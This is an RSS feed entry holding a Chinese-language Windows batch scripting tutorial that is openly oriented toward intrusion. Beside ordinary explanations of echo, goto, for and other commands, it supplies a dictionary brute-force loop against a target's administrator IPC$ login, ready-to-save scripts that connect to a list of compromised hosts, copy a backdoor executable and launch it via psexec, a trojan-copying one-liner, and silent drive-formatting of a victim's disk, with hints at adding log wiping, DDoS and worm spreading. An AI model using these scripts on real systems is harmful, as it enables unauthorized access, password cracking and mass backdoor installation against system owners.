<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[IDC笔记]]></title>
<link>http://www.idcnote.com/</link>
<description><![CDATA[创造机会的人是勇者；等待机会的人是愚者]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[wentaiyou@126.com(Kevin)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>IDC笔记</title> 
	<url>http://www.idcnote.com/images/logos.gif</url> 
	<link>http://www.idcnote.com/</link> 
	<description>IDC笔记</description> 
</image>

			<item>
			<link>http://www.idcnote.com/default.asp?id=66</link>
			<title><![CDATA[windows 批处理程教程]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Thu,22 Jul 2010 14:00:38 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=66</guid>	
		<description><![CDATA[批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等<br/><br/>一.简单批处理内部命令简介 <br/>1.echo 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;语法 <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo [] [message] <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample：@echo off / echo hello world <br/>&nbsp;&nbsp;&nbsp;&nbsp;在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 <br/><br/>2.@ 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample：@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo Now initializing the program,please wait a minite... <br/>&nbsp;&nbsp;&nbsp;&nbsp;@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。win2k不支持) <br/>3.goto 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。） <br/>&nbsp;&nbsp;&nbsp;&nbsp;@Rem check parameters if null show usage <br/>&nbsp;&nbsp;&nbsp;&nbsp;:noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo Usage: monitor.bat ServerIP PortNumber <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 <br/>4.rem 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Rem Message <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample：@Rem Here is the description. <br/>5.pause 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;运行 Pause 命令时，将显示下面的消息： <br/>&nbsp;&nbsp;&nbsp;&nbsp;Press any key to continue . . . <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;:begin <br/>&nbsp;&nbsp;&nbsp;&nbsp;copy a:*.* d：back <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo Please put a new disk into driver A <br/>&nbsp;&nbsp;&nbsp;&nbsp;pause <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto begin <br/>&nbsp;&nbsp;&nbsp;&nbsp;在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。 <br/>6.call 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;语法 <br/>&nbsp;&nbsp;&nbsp;&nbsp;call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] <br/>&nbsp;&nbsp;&nbsp;&nbsp;参数 <br/>&nbsp;&nbsp;&nbsp;&nbsp;[Drive:}[Path] FileName <br/>&nbsp;&nbsp;&nbsp;&nbsp;指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 <br/>7.start 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;入侵常用参数： <br/>&nbsp;&nbsp;&nbsp;&nbsp;MIN 开始时窗口最小化 <br/>&nbsp;&nbsp;&nbsp;&nbsp;SEPARATE 在分开的空间内开始 16 位 Windows 程序 <br/>&nbsp;&nbsp;&nbsp;&nbsp;HIGH 在 HIGH 优先级类别开始应用程序 <br/>&nbsp;&nbsp;&nbsp;&nbsp;REALTIME 在 REALTIME 优先级类别开始应用程序 <br/>&nbsp;&nbsp;&nbsp;&nbsp;WAIT 启动应用程序并等候它结束 <br/>&nbsp;&nbsp;&nbsp;&nbsp;parameters 这些为传送到命令/程序的参数 <br/>&nbsp;&nbsp;&nbsp;&nbsp;执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。 <br/>8.choice 命令(win2k已失效) <br/>&nbsp;&nbsp;&nbsp;&nbsp;choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234…… <br/>如: choice /c:dme defrag,mem,end <br/>&nbsp;&nbsp;&nbsp;&nbsp;将显示 <br/>&nbsp;&nbsp;&nbsp;&nbsp;defrag,mem,end[D,M,E]? <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample.bat的内容如下: <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;choice /c:dme defrag,mem,end <br/>&nbsp;&nbsp;&nbsp;&nbsp;if errorlevel 3 goto defrag （应先判断数值最高的错误码） <br/>&nbsp;&nbsp;&nbsp;&nbsp;if errorlevel 2 goto mem <br/>&nbsp;&nbsp;&nbsp;&nbsp;if errotlevel 1 goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;:defrag <br/>&nbsp;&nbsp;&nbsp;&nbsp;c:dosdefrag <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;:mem <br/>&nbsp;&nbsp;&nbsp;&nbsp;mem <br/>&nbsp;&nbsp;&nbsp;&nbsp;goto end <br/>&nbsp;&nbsp;&nbsp;&nbsp;:end <br/>&nbsp;&nbsp;&nbsp;&nbsp;echo good bye <br/>&nbsp;&nbsp;&nbsp;&nbsp;此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。 <br/>9.If 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br/>&nbsp;&nbsp;&nbsp;&nbsp;1、if &#34;参数&#34; == &#34;字符串&#34; 　待执行的命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号） <br/>&nbsp;&nbsp;&nbsp;&nbsp;如if &#34;%1&#34;==&#34;a&#34; format a: <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;if =={} goto noparms <br/>&nbsp;&nbsp;&nbsp;&nbsp;2、if exist 文件名　 待执行的命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如if exist config.sys edit config.sys <br/>&nbsp;&nbsp;&nbsp;&nbsp;3、if errorlevel / if not errorlevel 数字　 待执行的命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;如if errorlevel 2 goto x2 　 <br/>&nbsp;&nbsp;&nbsp;&nbsp;DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。 <br/>10.for 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable <br/>&nbsp;&nbsp;&nbsp;&nbsp;for in (set) do command [CommandLineOptions] <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;%variable 指定一个单一字母可替换的参数。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(set) 指定一个或一组文件。可以使用通配符。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command 指定对每个文件执行的命令。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;command-parameters 为特定命令指定参数或命令行开关。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable，而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /D %variable IN (set) DO command [command-parameters] <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] <br/>&nbsp;&nbsp;&nbsp;&nbsp;检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /L %variable IN (start,step,end) DO command [command-parameters] <br/>&nbsp;&nbsp;&nbsp;&nbsp;该集表示以增量形式从开始到结束的一个数字序列。 因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生 序列 (5 4 3 2 1)。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (filenameset) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (`command`) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;或者，如果有 usebackq 选项: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (file-set) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (&#34;string&#34;) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F [&#34;options&#34;] %variable IN (`command`) DO command <br/>&nbsp;&nbsp;&nbsp;&nbsp;filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。 处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 &#34;options&#34; 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为: <br/>&nbsp;&nbsp;&nbsp;&nbsp;eol=c - 指一个行注释字符的结尾(就一个) <br/>&nbsp;&nbsp;&nbsp;&nbsp;skip=n - 指在文件开始时忽略的行数。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 n 符号指定 m 符号字符串中的最后一个字符星号， 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 <br/>sample1: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F &#34;eol=; tokens=2,3* delims=, &#34; %i in (myfile.txt) do command <br/>&nbsp;&nbsp; 会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 “z” 或 “Z” 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子: <br/>&nbsp;&nbsp;&nbsp;&nbsp;FOR /F &#34;usebackq delims==&#34; %i IN (`set`) DO @echo %i <br/>&nbsp;&nbsp;&nbsp;&nbsp;会枚举当前环境中的环境变量名称。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;另外，FOR 变量参照的替换已被增强。您现在可以使用下列 <br/>&nbsp;&nbsp;&nbsp;&nbsp;选项语法: <br/>&nbsp;&nbsp;&nbsp;&nbsp;~I - 删除任何引号(&#34;)，扩充 %i <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~fi - 将 %i 扩充到一个完全合格的路径名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~di - 仅将 %i 扩充到一个驱动器号 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~pi - 仅将 %i 扩充到一个路径 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ni - 仅将 %i 扩充到一个文件名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~xi - 仅将 %i 扩充到一个文件扩展名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~si - 扩充的路径只含有短名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ai - 将 %i 扩充到文件的文件属性 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ti - 将 %i 扩充到文件的日期/时间 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~zi - 将 %i 扩充到文件的大小 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~$PATH:i - 查找列在路径环境变量的目录，并将 %i 扩充到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串 <br/>&nbsp;&nbsp;&nbsp;&nbsp;可以组合修饰符来得到多重结果: <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~dpi - 仅将 %i 扩充到一个驱动器号和路径 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~nxi - 仅将 %i 扩充到一个文件名和扩展名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~fsi - 仅将 %i 扩充到一个带有短名的完整路径名 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %i 扩充 <br/>&nbsp;&nbsp;&nbsp;&nbsp;到找到的第一个驱动器号和路径。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;%~ftzai - 将 %i 扩充到类似输出线路的 dir<br/>&nbsp;&nbsp;&nbsp;&nbsp;在以上例子中，%i 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %i 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample2： <br/>&nbsp;&nbsp;&nbsp;&nbsp;利用For命令来实现对一台目标Win2k主机的暴力密码破解。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;我们用net use ipipc$ &#34;password&#34; /u:&#34;administrator&#34;来尝试这和目标主机进行连接，当成功时记下密码。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;最主要的命令是一条：for /f %i in (dict.txt) do net use ipipc$ &#34;%i&#34; /u:&#34;administrator&#34; <br/>&nbsp;&nbsp;&nbsp;&nbsp;用%i来表示admin的密码，在dict.txt中这个取%i的值用net use 命令来连接。然后将程序运行结果传递给find命令－－ <br/>&nbsp;&nbsp;&nbsp;&nbsp;for /f %i in (dict.txt) do net use ipipc$ &#34;%i&#34; /u:&#34;administrator&#34;|find &#34;:命令成功完成&#34;&gt;&gt;Dk.txt ，这样就ko了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample3： <br/>&nbsp;&nbsp;&nbsp;&nbsp;你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable） <br/>&nbsp;&nbsp;&nbsp;&nbsp;@for /f &#34;tokens=1,2,3 delims= &#34; %%i in (victim.txt) do start call door.bat %%i %%j %%k <br/>&nbsp;&nbsp;&nbsp;&nbsp;tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br/><br/>代码雏形： <br/>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br/>@echo off <br/>@if &#34;%1&#34;==&#34;&#34; goto usage <br/>@for /f &#34;tokens=1,2,3 delims= &#34; %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k <br/>@goto end <br/>:usage <br/>@echo run this batch in dos modle.or just double-click it. <br/>:end <br/>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- <br/><br/>------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- <br/>@net use %1ipc$ %3 /u:&#34;%2&#34; <br/>@if errorlevel 1 goto failed <br/>@echo Trying to establish the IPC$ connection …………OK <br/>@copy windrv32.exe%1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt <br/>@psexec %1 c:winntsystem32windrv32.exe <br/>@psexec %1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt <br/>:failed <br/>@echo Sorry can not connected to the victim. <br/>----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容 <br/>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.<br/>二.如何在批处理文件中使用参数 <br/>&nbsp;&nbsp;&nbsp;&nbsp;批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample1：fomat.bat <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;if &#34;%1&#34;==&#34;a&#34; format a: <br/>&nbsp;&nbsp;&nbsp;&nbsp;:format <br/>&nbsp;&nbsp;&nbsp;&nbsp;@format a:/q/u/auotset <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo please ins&#101;rt another disk to driver A. <br/>&nbsp;&nbsp;&nbsp;&nbsp;@pause <br/>&nbsp;&nbsp;&nbsp;&nbsp;@goto fomat <br/>&nbsp;&nbsp;&nbsp;&nbsp;这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^ <br/>sample2： <br/>&nbsp;&nbsp;&nbsp;&nbsp;当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;@echo off <br/>&nbsp;&nbsp;&nbsp;&nbsp;@net use 1%ipc$ &#34;2%&#34; /u:&#34;3%&#34; 注意哦，这里PASSWORD是第二个参数。 <br/>&nbsp;&nbsp;&nbsp;&nbsp;@if errorlevel 1 echo connection failed <br/>&nbsp;&nbsp;&nbsp;&nbsp;怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^. <br/>三.如何使用组合命令(Compound Command) <br/>1.&amp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，而不管命令是否执行成功 <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir z: &amp; dir c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Directory of c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 &lt;DIR&gt; . <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 &lt;DIR&gt; .. <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:51 14 sometips.gif <br/>2.&amp;&amp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； <br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir z: &amp;&amp; dir c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified. <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;C:&gt;dir c:Ex4rch &amp;&amp; dir z: <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Directory of c:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 &lt;DIR&gt; . <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 &lt;DIR&gt; .. <br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 14 sometips.gif <br/>&nbsp;&nbsp;&nbsp;&nbsp;1 File(s) 14 bytes <br/>&nbsp;&nbsp;&nbsp;&nbsp;2 Dir(s) 768,671,744 bytes free <br/>&nbsp;&nbsp;&nbsp;&nbsp;The system cannot find the path specified. <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;在做备份的时候可能会用到这种命令会比较简单，如： <br/>&nbsp;&nbsp;&nbsp;&nbsp;dir file://192.168.0.1/database/backup.mdb &amp;&amp; copy file://192.168.0.1/database/backup.mdb E:backup <br/>&nbsp;&nbsp;&nbsp;&nbsp;如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：） <br/>&nbsp;&nbsp;&nbsp;&nbsp;3.|| <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 || 第二条命令 [|| 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;C:Ex4rch&gt;dir sometips.gif || del sometips.gif <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume in drive C has no label. <br/>&nbsp;&nbsp;&nbsp;&nbsp;Volume Serial Number is 0078-59FB <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Directory of C:Ex4rch <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;2002-05-14 23:55 14 sometips.gif <br/>&nbsp;&nbsp;&nbsp;&nbsp;1 File(s) 14 bytes <br/>&nbsp;&nbsp;&nbsp;&nbsp;0 Dir(s) 768,696,320 bytes free <br/>&nbsp;&nbsp;&nbsp;&nbsp;组合命令使用的例子： <br/>&nbsp;&nbsp;&nbsp;&nbsp;sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;@copy trojan.exe %1admin$system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt <br/><br/>四、管道命令的使用 <br/>1.| 命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;Usage：第一条命令 | 第二条命令 [| 第三条命令...] <br/>&nbsp;&nbsp;&nbsp;&nbsp;将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;sample： <br/>&nbsp;&nbsp;&nbsp;&nbsp;time /t&gt;&gt;D:IP.log <br/>&nbsp;&nbsp;&nbsp;&nbsp;netstat -n -p tcp|find &#34;:3389&#34;&gt;&gt;D:IP.log <br/>&nbsp;&nbsp;&nbsp;&nbsp;start Explorer <br/>&nbsp;&nbsp;&nbsp;&nbsp;看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。 <br/>2.&gt;、&gt;&gt;输出重定向命令 <br/>&nbsp;&nbsp;&nbsp;&nbsp;将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 